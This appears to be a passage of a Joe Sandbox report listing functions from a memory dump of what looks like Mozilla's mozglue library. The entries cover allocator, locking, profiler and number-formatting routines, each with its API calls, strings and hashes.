Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qdl$~qdl
API String ID: 3693777188-291169772
Opcode ID: 7871f4921a83a0d790d0977469b5e47c725beffcdf69c05c5918915fc7801e63
Instruction ID: d95293697719abc45f5f7ef8c7007f753329cdb2de8d4981aec4ac4cc7b62fb9
Opcode Fuzzy Hash: 7871f4921a83a0d790d0977469b5e47c725beffcdf69c05c5918915fc7801e63
Instruction Fuzzy Hash: 12B32A71E00219CFCB24CFA8C890ADDB7B2BF49304F2585A9D459AB745D731AD86CFA4

Function 6C65FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6CE7B8), ref: 6C65FF81
LeaveCriticalSection.KERNEL32(6C6CE7B8), ref: 6C66022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C660240
EnterCriticalSection.KERNEL32(6C6CE768), ref: 6C66025B
LeaveCriticalSection.KERNEL32(6C6CE768), ref: 6C66027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C65FE99, 6C65FEB7, 6C65FED3, 6C660DB8, 6C660DD3, 6C6619B4
<jemalloc>, xrefs: 6C660D62, 6C660D76, 6C660DA7
: (malloc) Error in VirtualFree(), xrefs: 6C660D67, 6C660D7B, 6C660DAC

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 91062cf8e036ce7e25ee7613da25a7fd8c20551c32ac7ceb9fb9519dda299bf4
Instruction ID: fb771e4740a9594083901491cb6c01c6b267cfd4f06dea8b842aa436ec8d8fe7
Opcode Fuzzy Hash: 91062cf8e036ce7e25ee7613da25a7fd8c20551c32ac7ceb9fb9519dda299bf4
Instruction Fuzzy Hash: 47C2D171A057418FD714CF2AC480756BBE1FF85328F28C66DE4A98BB95D771E801CB8A

Function 6C683E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>hl,?,?,?,6C683E7D,?,?), ref: 6C6A777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C683F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C683F5C
VerSetConditionMask.NTDLL ref: 6C683F8D
VerSetConditionMask.NTDLL ref: 6C683F99
VerSetConditionMask.NTDLL ref: 6C683FA0
VerSetConditionMask.NTDLL ref: 6C683FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C683FB4

Strings

C>hl, xrefs: 6C683E93
nvinit.dll, xrefs: 6C684479
nvd3d9wrap.dll, xrefs: 6C684466

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>hl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-427454947
Opcode ID: 2c6e48856b6942ed8cc6c11a37ea30adf61c7d540ad126fd7e869944065acb5a
Instruction ID: a7691eff287f918f28b3ada40b03008f6a1b68944f6aa5d8a60e42e346953ad7
Opcode Fuzzy Hash: 2c6e48856b6942ed8cc6c11a37ea30adf61c7d540ad126fd7e869944065acb5a
Instruction Fuzzy Hash: A7520271614B845FDB14DF30C8D0ABB77E9AF86308F54086DD5928BB82CB74E919CB68

Function 6C65FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6CE7B8), ref: 6C65FF81
LeaveCriticalSection.KERNEL32(6C6CE7B8), ref: 6C66022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C660240
EnterCriticalSection.KERNEL32(6C6CE768), ref: 6C66025B
LeaveCriticalSection.KERNEL32(6C6CE768), ref: 6C66027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C65FE99, 6C65FEB7, 6C65FED3, 6C660DB8, 6C660DD3, 6C6619B4, 6C661A10
MOZ_CRASH(), xrefs: 6C660CA7

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 17d302dfcbfe0b4309d11bb971f77d219bbaf7ac09dac3d68f767ed9daae3a70
Instruction ID: 365b58f4c068801d09f8d20af7db10719854c5bbee5cad06ac967ac2f11bbf92
Opcode Fuzzy Hash: 17d302dfcbfe0b4309d11bb971f77d219bbaf7ac09dac3d68f767ed9daae3a70
Instruction Fuzzy Hash: 66B2CF716057418FD714CF2AC5D0756BBE1BF85328F28C66CE96A8BB95C770E840CB8A

Function 6C695600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C695E79, 6C695E8F
expected a Count entry, xrefs: 6C695AC3
schema, xrefs: 6C69606D
expected a Time entry, xrefs: 6C695CB6
ProfileBuffer parse error: %s, xrefs: 6C695AC8, 6C695CBB
data, xrefs: 6C696131

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 9ce08e143faf580395e3e7d2e743f9c1f25475f3777a60790e00772d016bdc68
Instruction ID: 59971c288c8fa37a3f27bca677fd319baf38c452b156f8e384af07db6fcfa218
Opcode Fuzzy Hash: 9ce08e143faf580395e3e7d2e743f9c1f25475f3777a60790e00772d016bdc68
Instruction Fuzzy Hash: DA925EB1A083428FD724CF18C49079BB7E1BFC5308F548A2DE5999B751DB30E949CB9A

Function 6C692E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C692ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C692EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C692F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C693214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C693242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6936BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C69378D
get , xrefs: 6C693205
set , xrefs: 6C6936EC

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 4690e0c9d17148194232e80b2b556ec0c017f0e87cc19805995b89a5866c8204
Instruction ID: 864978e31e0ac0631c28070d61ad4fa08d5e449b7136aa250b2f35986f95a1ed
Opcode Fuzzy Hash: 4690e0c9d17148194232e80b2b556ec0c017f0e87cc19805995b89a5866c8204
Instruction Fuzzy Hash: EB325E706083828FD724CF24C4906AFB7E2AFCA318F54882DE59987751DB31D94ACB5B

Function 6C687E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C687ECF, 6C688335
schema, xrefs: 6C6881E3, 6C688311
(pre-xul), xrefs: 6C687E88
data, xrefs: 6C688280, 6C6883E1
vll, xrefs: 6C688207

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vll
API String ID: 3412268980-1513030651
Opcode ID: fbc247660fd93f67e2f9cad54b97bc709ecc05da1ce7fb6cc2fae88c5f67be89
Instruction ID: 36f339076576911bf37ca3a9322f1af24e8b9dfc0b19dc204b965d9233ad7c17
Opcode Fuzzy Hash: fbc247660fd93f67e2f9cad54b97bc709ecc05da1ce7fb6cc2fae88c5f67be89
Instruction Fuzzy Hash: FBE16EB1B043408BC710CF69884165BFBE9FF86318F54892DE895AB791DB70DD098B9A

Function 6C66D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C67D1C5), ref: 6C66D4F2
LeaveCriticalSection.KERNEL32(6C6CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C67D1C5), ref: 6C66D50B

Part of subcall function 6C64CFE0: EnterCriticalSection.KERNEL32(6C6CE784), ref: 6C64CFF6
Part of subcall function 6C64CFE0: LeaveCriticalSection.KERNEL32(6C6CE784), ref: 6C64D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C67D1C5), ref: 6C66D52E
EnterCriticalSection.KERNEL32(6C6CE7DC), ref: 6C66D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C66D6A6
LeaveCriticalSection.KERNEL32(6C6CE7DC), ref: 6C66D712
LeaveCriticalSection.KERNEL32(6C6CE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C67D1C5), ref: 6C66D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C66D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C66D82C
<jemalloc>, xrefs: 6C66D827

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 36822ca866c3098979ff668013d25c01f736b23f2bccf303e6c8e01cf5807ec7
Instruction ID: 6dd30f9f20e37a9f4cbd8c741c0e917582ef91dacf03b0b5a2fcac91478fa2a1
Opcode Fuzzy Hash: 36822ca866c3098979ff668013d25c01f736b23f2bccf303e6c8e01cf5807ec7
Instruction Fuzzy Hash: A4919171A047418FD714CF2AC49166ABBF1EB89718F24892EE55AC7F81D730E844CB9B

Function 6C669E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C669EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C669F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C669F34
LeaveCriticalSection.KERNEL32(?), ref: 6C66A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C66A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C66A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C66A8B1, 6C66A8D4, 6C66A8EF

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 7eabab48718e38a3176b58524891c2bcd30b4b5cd9a14e862694b60120b64093
Instruction ID: 8eae21772bd5fdc7630fb711eefdf1fa07ccde97723f9af2406f20944b69d8ce
Opcode Fuzzy Hash: 7eabab48718e38a3176b58524891c2bcd30b4b5cd9a14e862694b60120b64093
Instruction Fuzzy Hash: 60727E72A157218FD304CF2AC540615FBE1BF85328F29C76DE8699BB92D335E841CB86

Function 6C692C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C692C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C692C61

Part of subcall function 6C644DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C644E5A
Part of subcall function 6C644DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C644E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C692C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C692E2D

Part of subcall function 6C6581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6581DE

Strings

(root), xrefs: 6C69354F
expected a Time entry, xrefs: 6C692E36
ProfileBuffer parse error: %s, xrefs: 6C692E3B

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: e79c1903fe8e2dcb59b0e03e525f430d7f648b7ccb375087cfb115245c37be65
Instruction ID: c87f468b8ed543d5ea01f81c8f0c94a516b89bcdc856eeec8c89441aad201edf
Opcode Fuzzy Hash: e79c1903fe8e2dcb59b0e03e525f430d7f648b7ccb375087cfb115245c37be65
Instruction Fuzzy Hash: 9D91B0B06087828FC724CF24C48469FB7E1AFCA358F10492DE59A9B761DB30D949CB5E

Function 6C6A9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6A9F3D
__aulldiv.LIBCMT ref: 6C6A9F77
__aullrem.LIBCMT ref: 6C6A9F8C
__aulldiv.LIBCMT ref: 6C6AA023

Strings

-Infinity, xrefs: 6C6A9E60, 6C6A9E7B
NaN, xrefs: 6C6A9EAB

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: de02da5fdf704a206d885529dfed7d612e289534a0ed6a93abfe173478626484
Instruction ID: 1b3b411bc2573bcd0fab87f437579f90ed39da12ece8ec09610a449a9f55ac83
Opcode Fuzzy Hash: de02da5fdf704a206d885529dfed7d612e289534a0ed6a93abfe173478626484
Instruction Fuzzy Hash: DBC1AE31A043189BDB14CFE9C8907DEB7B6EB89308F14452AD405ABB81D771AD4ACF99

Function 6C64D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C64DE7F
0, xrefs: 6C64D852
, xrefs: 6C64DA88
0, xrefs: 6C64DC7F
1, xrefs: 6C64DBDD
8, xrefs: 6C64DC08
-, xrefs: 6C64D7DD
@, xrefs: 6C64DAF6

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 6ea5534c8f8793adefeafc0f7d9d51afa2168f182cac1663667caa99e5c6a05a
Instruction ID: 533e3054bf7875a4fd8fa7b55cf1d296d9e27133b1a4764841cc45ceaa46f275
Opcode Fuzzy Hash: 6ea5534c8f8793adefeafc0f7d9d51afa2168f182cac1663667caa99e5c6a05a
Instruction Fuzzy Hash: 8062CF71A0C3458FDB15CF19C0907AEBBF2AF86358F18CA4DE4D54BA91C3359985CB8A

Function 6C6B545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6B8A4B

Strings

~qdl, xrefs: 6C6B921F, 6C6B9459, 6C6B5740, 6C6B5703, 6C6B56C7, 6C6B9269, 6C6B948F

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: memset
String ID: ~qdl
API String ID: 2221118986-3120728324
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: a7921296c646091a7d7b6392b2b2e9cd993e33ff51eaead5e286154cc844a9fe
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 36B10872E0521B8FDB14CF68CC907E8B7B2EF95314F1802A9C549EB791D730A995CB94

Function 6C6B542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6B88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6B925C

Strings

~qdl, xrefs: 6C6B921F, 6C6B9459, 6C6B5740, 6C6B5703, 6C6B56C7, 6C6B9269, 6C6B948F

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: memset
String ID: ~qdl
API String ID: 2221118986-3120728324
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: f00248e6138169e2629fd0c8b47c17132ca65f6bf921d26e9e350f6f4e665e1e
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 79B1D472E0420A8BCB14CF68C8816EDB7B2EF95314F180279C949EB795D730A999CB94

Function 6C64BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C64C1CB
__aulldiv.LIBCMT ref: 6C64C24C
__aulldiv.LIBCMT ref: 6C64C348
__aullrem.LIBCMT ref: 6C64C365
__aulldiv.LIBCMT ref: 6C64C37D

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 8b2ced3a8b37cd2098293c1ac4e5565967c86b79f0b4298bec1b6e39bc760d6c
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C321532B146119FC718DE2CC890656BBE6AFC9310F09C66DE896CB395D730ED05CB91

Function 6C686CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C686D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C686E1E

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: d8b288561d1fb0953104f623c6da74af7a4454a798ea73408946e0d19dbc052d
Instruction ID: 25a95b0a6dfb59f2ceb49d3126b97910245070df8ccb3ece174e4574ce78491f
Opcode Fuzzy Hash: d8b288561d1fb0953104f623c6da74af7a4454a798ea73408946e0d19dbc052d
Instruction Fuzzy Hash: AAA17F706193818FC715CF25C4947AEFBE2BF89308F04495DE48A87751DB70E949CBA6

Function 6C664640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C664777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C665585, 6C6655A8, 6C6655C3, 6C665624

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
